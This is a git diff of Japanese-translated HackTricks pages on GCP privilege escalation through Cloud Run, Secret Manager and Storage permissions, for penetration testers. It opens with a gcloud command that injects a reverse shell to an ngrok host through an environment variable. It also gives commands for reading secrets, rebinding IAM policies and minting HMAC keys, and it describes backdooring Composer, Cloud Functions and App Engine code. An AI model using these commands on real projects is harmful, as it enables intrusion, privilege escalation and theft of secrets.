gcloud beta run jobs execute job-name --region <region> --update-env-vars="PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=/bin/bash -c 'bash -i >& /dev/tcp/6.tcp.eu.ngrok.io/14195 0>&1' #%s"
|
||||
```
|
||||
</details>
|
||||
|
||||
## 参考資料
|
||||
|
||||
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## secretmanager
|
||||
|
||||
secretmanager の詳細については:
|
||||
secretmanager に関する詳細情報:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-secrets-manager-enum.md
|
||||
@@ -12,16 +12,16 @@ secretmanager の詳細については:
|
||||
|
||||
### `secretmanager.versions.access`
|
||||
|
||||
これは secret manager からシークレットを読み取る権限を与えます。格納されている情報によっては、これが権限昇格に役立つ可能性があります。
|
||||
これは secret manager からシークレットを読み取るアクセス権を与え、格納されている情報によっては権限昇格に役立つ可能性があります:
|
||||
|
||||
<details><summary>クリアテキストのシークレットバージョンを取得</summary>
|
||||
<details><summary>シークレットの平文バージョンを取得する</summary>
|
||||
```bash
|
||||
# Get clear-text of version 1 of secret: "<secret name>"
|
||||
gcloud secrets versions access 1 --secret="<secret_name>"
|
||||
```
|
||||
</details>
|
||||
|
||||
これは post exploitation technique でもあるため、以下で見つけられます:
|
||||
これはまた post exploitation technique でもあるため、以下で見つけることができます:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-secretmanager-post-exploitation.md
|
||||
@@ -29,14 +29,20 @@ gcloud secrets versions access 1 --secret="<secret_name>"
|
||||
|
||||
### `secretmanager.secrets.setIamPolicy`
|
||||
|
||||
これにより secret manager からシークレットを読み取るアクセス権を付与できます。例えば、次のように使用します:
|
||||
これにより secret manager からシークレットを読み取るアクセスが得られます。例えば次のように使用します:
|
||||
|
||||
<details><summary>シークレットにIAMポリシーバインディングを追加</summary>
|
||||
<details><summary>Add IAM policy binding to secret</summary>
|
||||
```bash
|
||||
gcloud secrets add-iam-policy-binding <scret-name> \
|
||||
--member="serviceAccount:<sa-name>@$PROJECT_ID.iam.gserviceaccount.com" \
|
||||
--role="roles/secretmanager.secretAccessor"
|
||||
```
|
||||
またはポリシーを取り消すには:
|
||||
```bash
|
||||
gcloud secrets remove-iam-policy-binding <secret-name> \
|
||||
--member="serviceAccount:<sa-name>@<PROJECT_ID>.iam.gserviceaccount.com" \
|
||||
--role="roles/secretmanager.secretAccessor"
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -2,9 +2,9 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Storage
|
||||
## ストレージ
|
||||
|
||||
Basic Information:
|
||||
基本情報:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-storage-enum.md
|
||||
@@ -12,28 +12,82 @@ Basic Information:
|
||||
|
||||
### `storage.objects.get`
|
||||
|
||||
この権限を持つと、**Cloud Storageに保存されているファイルをダウンロード**できます。場合によってはそこに**sensitive informationが保存されている**ことがあり、結果としてprivilege escalationが可能になることがあります。さらに、いくつかのGCPサービスは情報をバケットに保存します:
|
||||
この権限により、**Cloud Storage内に保存されたファイルをダウンロード**できます。場合によっては**機密情報がそこに保存されている**ことがあるため、権限昇格につながる可能性があります。さらに、一部のGCPサービスは情報をバケットに保存します:
|
||||
|
||||
- **GCP Composer**: Composer Environmentを作成すると、**code of all the DAGs**が**bucket**に保存されます。これらのタスクのコード内に興味深い情報が含まれている可能性があります。
|
||||
- **GCR (Container Registry)**: コンテナの**image**は**buckets**内に保存されるため、バケットを読み取れるとイメージをダウンロードして**search for leaks and/or source code**が可能になります。
|
||||
- **GCP Composer**: Composer Environmentを作成すると、**すべてのDAGのコード**が**バケット**内に保存されます。これらのタスクのコードには興味深い情報が含まれている場合があります。
|
||||
- **GCR (Container Registry)**: コンテナの**image**は**バケット**に格納されているため、バケットを読み取れるとイメージをダウンロードして、**leaks**やソースコードを検索できます。
|
||||
|
||||
### `storage.objects.setIamPolicy`
|
||||
|
||||
この権限があれば、このセクションに記載した以前のシナリオを**abuse any of the previous scenarios of this section**できます。
|
||||
この権限は、このセクションで述べた前述のシナリオのいずれかを**悪用する**ことを可能にします。
|
||||
```bash
|
||||
# Add binding
|
||||
gcloud storage objects add-iam-policy-binding gs://<BUCKET_NAME>/<OBJECT_NAME> \
|
||||
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
|
||||
--role="<ROLE>" \
|
||||
--project=<PROJECT_ID>
|
||||
|
||||
# Remove binding
|
||||
gcloud storage objects remove-iam-policy-binding gs://<BUCKET_NAME>/<OBJECT_NAME> \
|
||||
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
|
||||
--role="<ROLE>" \
|
||||
--project=<PROJECT_ID>
|
||||
|
||||
# Change Policy
|
||||
gcloud storage objects set-iam-policy gs://<BUCKET_NAME>/<OBJECT_NAME> - \
|
||||
--project=<PROJECT_ID> <<'POLICY'
|
||||
{
|
||||
"bindings": [
|
||||
{
|
||||
"role": "<ROLE>",
|
||||
"members": [
|
||||
"<MEMBER_TYPE>:<MEMBER_IDENTIFIER>"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
POLICY
|
||||
|
||||
```
|
||||
### **`storage.buckets.setIamPolicy`**
|
||||
|
||||
この権限でどのように権限を変更するかの例については、次のページを参照してください:
|
||||
この権限を使って権限を変更する方法の例については、こちらのページを参照してください:
|
||||
```bash
|
||||
# Add binding
|
||||
gcloud storage buckets add-iam-policy-binding gs://<MY_BUCKET> \
|
||||
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
|
||||
--role=<ROLE> \
|
||||
--project=<MY_PROJECT>
|
||||
|
||||
# Remove binding
|
||||
gcloud storage buckets remove-iam-policy-binding gs://<MY_BUCKET> \
|
||||
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
|
||||
--role=<ROLE> \
|
||||
--project=<MY_PROJECT>
|
||||
|
||||
# Change policy
|
||||
gcloud storage buckets set-iam-policy gs://<BUCKET_NAME> - \
|
||||
--project=<PROJECT_ID> <<'POLICY'
|
||||
{
|
||||
"bindings": [
|
||||
{
|
||||
"role": "<ROLE>",
|
||||
"members": [
|
||||
"<MEMBER_TYPE>:<MEMBER_IDENTIFIER>"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
POLICY
|
||||
|
||||
```
|
||||
{{#ref}}
|
||||
../gcp-unauthenticated-enum-and-access/gcp-storage-unauthenticated-enum/gcp-public-buckets-privilege-escalation.md
|
||||
{{#endref}}
|
||||
|
||||
### `storage.hmacKeys.create`
|
||||
|
||||
Cloud Storageの「interoperability」機能は、AWS S3のような**cross-cloud interactions**向けに設計されており、**Service Accounts and usersのためのHMAC keysのcreation**を伴います。攻撃者はこれを悪用して、権限の高いService AccountのためにHMAC keyを**生成する**ことで、Cloud Storage内で**escalating privileges within Cloud Storage**を行うことができます。ユーザーに紐づくHMAC keysはウェブコンソール経由でのみ取得可能ですが、accessおよびsecret keysは**perpetually accessible**な状態で残るため、バックアップとしてアクセス情報を保存できる可能性があります。一方で、Service Accountに紐づくHMAC keysはAPI経由で操作できますが、作成後はaccessおよびsecret keysを取得できないため、継続的なアクセス確保はより複雑になります。
|
||||
|
||||
<details><summary>Create and use HMAC key for privilege escalation</summary>
|
||||
Cloud Storage の "interoperability" 機能は、AWS S3 のような **クロスクラウド間の相互操作** を目的としており、**Service Accounts と users のための HMAC keys の作成**を含みます。攻撃者はこれを悪用して、**権限の高い Service Account のための HMAC key を生成する**ことで、**Cloud Storage 内で権限をエスカレーション**できます。ユーザーに紐づく HMAC keys は web console 経由でのみ取得可能ですが、access と secret keys は **恒久的にアクセス可能** であり、バックアップ目的での保存に利用される可能性があります。これに対して Service Account に紐づく HMAC keys は API 経由で操作できますが、その access と secret keys は作成後に取得できないため、継続的なアクセス確保はより複雑になります。
|
||||
```bash
|
||||
# Create key
|
||||
gsutil hmac create <sa-email> # You might need to execute this inside a VM instance
|
||||
@@ -63,54 +117,52 @@ gsutil ls gs://[BUCKET_NAME]
|
||||
# Restore
|
||||
gcloud config set pass_credentials_to_gsutil true
|
||||
```
|
||||
</details>
|
||||
|
||||
Another exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py).
|
||||
|
||||
### `storage.objects.create`, `storage.objects.delete` = Storage Write permissions
|
||||
|
||||
バケット内に新しいオブジェクトを**作成する**には `storage.objects.create` が必要で、また既存オブジェクトを**修正する**には [the docs](https://cloud.google.com/storage/docs/access-control/iam-permissions#object_permissions) によれば `storage.objects.delete` も必要です。
|
||||
バケット内に**新しいオブジェクトを作成する**には `storage.objects.create` が必要で、既存オブジェクトを**変更する**にはドキュメントによれば `storage.objects.delete` も必要です(参照: [the docs](https://cloud.google.com/storage/docs/access-control/iam-permissions#object_permissions))。
|
||||
|
||||
クラウド上で書き込み可能なバケットに対する非常に**一般的な悪用**方法は、そのバケットが**Webサーバのファイルを保存している**場合です。攻撃者はそこに**新しいコードを置き、Webアプリケーションに利用させる**ことが可能になるかもしれません。
|
||||
バケットに書き込み権限がある場合の非常に**一般的な悪用例**は、**バケットがウェブサーバのファイルを保存している**ケースです。ここに**新しいコードを置く**ことで、ウェブアプリケーションからそのコードが利用され得ます。
|
||||
|
||||
### Composer
|
||||
|
||||
**Composer** は GCP 上で管理される **Apache Airflow** です。以下のような興味深い特徴があります:
|
||||
**Composer** は GCP 上で管理される **Apache Airflow** です。以下の興味深い特徴があります:
|
||||
|
||||
- **GKE cluster** 内で動作するため、クラスタが使用する **SA** は Composer 内で実行されるコードから**アクセス可能**です。
|
||||
- composer 環境の全コンポーネント(**DAGs のコード**, プラグイン, データ)は GCP バケットに保存されます。攻撃者がそのバケットに対して読み書き権限を持っている場合、バケットを監視して **DAG が作成または更新されるたびに backdoored バージョンを提出する**ことで、composer 環境が storage から backdoored バージョンを取得するようにできます。
|
||||
- **GKE cluster** 内で動作するため、クラスタが使う **SA** が Composer 内で動くコードから**アクセス可能**である。
|
||||
- composer 環境の全コンポーネント(**DAGs のコード**、プラグイン、データ)は GCP のバケットに保存されます。攻撃者がそのバケットに対して読み書き権限を持っていれば、バケットを監視して**DAG が作成または更新されるたびに、バックドア入りのバージョンを差し替える**ことで composer 環境がストレージからバックドア版を取得するようにできます。
|
||||
|
||||
**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs**](https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs)
|
||||
**この攻撃の PoC はリポジトリにあります:** [**https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs**](https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs)
|
||||
|
||||
### Cloud Functions
|
||||
|
||||
- Cloud Functions のコードは Storage に保存され、新しいバージョンが作成されるとコードがバケットにプッシュされ、そのコードから新しいコンテナがビルドされます。したがって、**新しいバージョンがビルドされる前にコードを上書きすることで、cloud function に任意のコードを実行させることが可能**です。
|
||||
- Cloud Functions のコードは Storage に保存され、新しいバージョンが作られるとコードがバケットにプッシュされ、そのコードから新しいコンテナがビルドされます。したがって、**新しいバージョンがビルドされる前にコードを上書きすれば、Cloud Function に任意コードを実行させることが可能**です。
|
||||
|
||||
**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions**](https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions)
|
||||
**この攻撃の PoC はリポジトリにあります:** [**https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions**](https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions)
|
||||
|
||||
### App Engine
|
||||
|
||||
AppEngine のバージョンは `staging.<project-id>.appspot.com` という形式のバケット内にいくつかのデータを生成します。このバケットの中には `ae` というフォルダがあり、AppEngine アプリの各バージョンごとのフォルダが格納されています。これらのフォルダの中には `manifest.json` ファイルが見つかります。このファイルは特定のバージョンを作成するために使われるすべてのファイルを含む JSON です。さらに、**ファイルの実際の名前、GCP バケット内での URL(バケット内のファイルは sha1 ハッシュ名に変更されている)、および各ファイルの sha1 ハッシュ** を確認できます。
|
||||
AppEngine のバージョンは `staging.<project-id>.appspot.com` という形式のバケット内にいくつかのデータを生成します。このバケット内には `ae` というフォルダがあり、AppEngine アプリの各バージョンごとのフォルダが格納され、それらのフォルダ内に `manifest.json` ファイルが存在します。このファイルには特定バージョンを作成するために使われる全ファイルの JSON が入っており、ファイルの実名、GCP バケット内での URL(バケット内のファイル名は sha1 ハッシュに変わっている)および各ファイルの sha1 ハッシュが含まれます。
|
||||
|
||||
_Note that it's not possible to pre-takeover this bucket because GCP users aren't authorized to generate buckets using the domain name appspot.com._
|
||||
_注意: GCP ユーザは appspot.com ドメイン名を使ってバケットを生成する権限がないため、このバケットを事前に作成しておくことはできません。_
|
||||
|
||||
しかし、このバケットに対して読み書きアクセスを持っていれば、バケットを監視し、変更(新しいバージョン)が行われた際に可能な限り速く新しいバージョンを改変することで、当該 App Engine バージョンに紐づく SA への権限昇格が可能になります。こうしてそのコードから作成されたコンテナは backdoored コードを実行します。
|
||||
しかし、このバケットに対する読み書きアクセスがある場合、`staging.<project-id>.appspot.com` バケットを監視して新しいバージョンが作られるたびに可能な限り素早くその新バージョンを改変することで、当該バージョンに紐づく SA への権限昇格が可能になります。こうして生成されるコンテナはバックドア入りのコードを実行します。
|
||||
|
||||
前述の攻撃は多様な方法で実行可能で、いずれも `staging.<project-id>.appspot.com` バケットの監視から始まります:
|
||||
この攻撃は多様な方法で実施できます。いずれも `staging.<project-id>.appspot.com` バケットを監視することから始まります:
|
||||
|
||||
- AppEngine バージョンの完全な新しいコードを別の利用可能なバケットにアップロードし、**新しいバケット名とそのファイルの sha1 ハッシュを含む `manifest.json` ファイルを準備**します。新しいバージョンがオリジナルのバケットに作成されたとき、`manifest.json` を差し替えて悪意あるものをアップロードすればよい。
|
||||
- 変更した `requirements.txt` をアップロードして、**悪意ある依存ライブラリを使うようにし、`manifest.json` を新しいファイル名、URL、ハッシュで更新**する。
|
||||
- **`main.py` または `app.yaml` を改変して悪意あるコードを実行させ、`manifest.json` を新しいファイル名、URL、ハッシュで更新**する。
|
||||
- AppEngine バージョンの完全な新コードを別の利用可能なバケットにアップロードし、新しいバケット名とファイルの sha1 ハッシュを含む **`manifest.json`** を準備する。バケット内で新バージョンが作成されたら、`manifest.json` を差し替えて悪意あるものをアップロードするだけです。
|
||||
- 変更した `requirements.txt` をアップロードして、**悪意ある依存ライブラリのコードを利用**し、`manifest.json` に新しいファイル名、URL、ハッシュを反映させる。
|
||||
- `main.py` や `app.yaml` を改変して**悪意あるコードを実行させる**ようにし、`manifest.json` を新しいファイル名、URL、ハッシュで更新する。
|
||||
|
||||
**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-AppEngine**](https://github.com/carlospolop/Monitor-Backdoor-AppEngine)
|
||||
**この攻撃の PoC はリポジトリにあります:** [**https://github.com/carlospolop/Monitor-Backdoor-AppEngine**](https://github.com/carlospolop/Monitor-Backdoor-AppEngine)
|
||||
|
||||
### GCR
|
||||
|
||||
- **Google Container Registry** はイメージをバケット内に保存します。これらのバケットに**書き込みができれば**、それらのバケットが実行されている場所へ**ラテラルムーブ(横展開)**できる可能性があります。
|
||||
- GCR が使用するバケットは `gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com` のような URL になります(トップレベルのサブドメインは [here](https://cloud.google.com/container-registry/docs/pushing-and-pulling) に記載されています)。
|
||||
- **Google Container Registry** はイメージをバケット内に保存します。もしこれらのバケットに**書き込み**できれば、後にそれらが実行される場所へ **横移動** できる可能性があります。
|
||||
- GCR が使用するバケットの URL は `gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com` のようになります(トップレベルのサブドメインは [here](https://cloud.google.com/container-registry/docs/pushing-and-pulling) で指定されています)。
|
||||
|
||||
> [!TIP]
|
||||
> This service is deprecated so this attack is no longer useful. Moreover, Artifact Registry, the service that substitutes this one, does't store the images in buckets.
|
||||
> このサービスは deprecated されているため、この攻撃は現在はあまり有用ではありません。さらに、このサービスの代替である Artifact Registry はイメージをバケットに保存しません。
|
||||
|
||||
## **References**
|
||||
|
||||
|
||||
Reference in New Issue
Block a user